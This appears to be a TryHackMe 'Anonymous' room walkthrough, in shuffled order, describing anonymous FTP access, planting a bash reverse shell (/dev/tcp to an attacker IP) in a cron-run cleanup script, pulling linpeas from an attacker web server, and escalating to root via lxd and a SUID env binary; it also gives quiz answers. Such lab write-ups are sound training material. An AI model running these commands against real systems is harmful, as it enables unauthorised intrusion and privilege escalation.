TryHackMe - Anonymous
Last updated
Last updated
In the picture above we can see that the second ls shows that the log file is bigger and the time is later
Let's try to modify the clean script with this
We set our listener rlwrap nc -lvnp 4444
So nothing happens with this. If we check the hint it mentions unexpected results with netcat.
Let's try with bash instead of netcat bash -i >& /dev/tcp/10.13.22.56/4444 0>&1
and put the new file in the scripts folder in the ftp
We can grab the user flag
Let's get linpeas in our target wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 80
From our target wget http://10.13.22.56/linpeas.sh
and chmod +x linpeas.sh
To summarize here are the commands I ran (using the blog post as reference)
We can grab the last flag. We need to access to the point where the system is mounted cd /mnt/root
and we grab the flag cat root/root.txt
!
Note for this way it is really important to not forget to use a tty shell we can get it after catching our shell with this command python -c 'import pty; pty.spawn("/bin/sh")'
It works
Enumerate the machine. How many ports are open? 4
What service is running on port 21? ftp
What service is running on ports 139 and 445? smb
There's a share on the user's computer. What's it called? pics
I let you find the flags :)
According to our nmap We are allowed to login as anonymous. It does work
Here are the files we can download in our machine for further examination
Here is the content of the files
It seems like we are allowed to write in the clean.sh file. Also if we check multiple times the scripts folder we can see that the log file is regurlarly updated. It is worth modifyin the script and try to get a reverse shell with it.
We transfer the new file
We get a shell as the user namelessone
after a minute or so
We are part of interesting groups such as lxd sudo and adm. However sudo -l does not give anything back (we get prompted for the password). Let's try to abuse lxd and follow
It works, we are root
The suid bit is set on env so we can use it to privesc with the command that can be found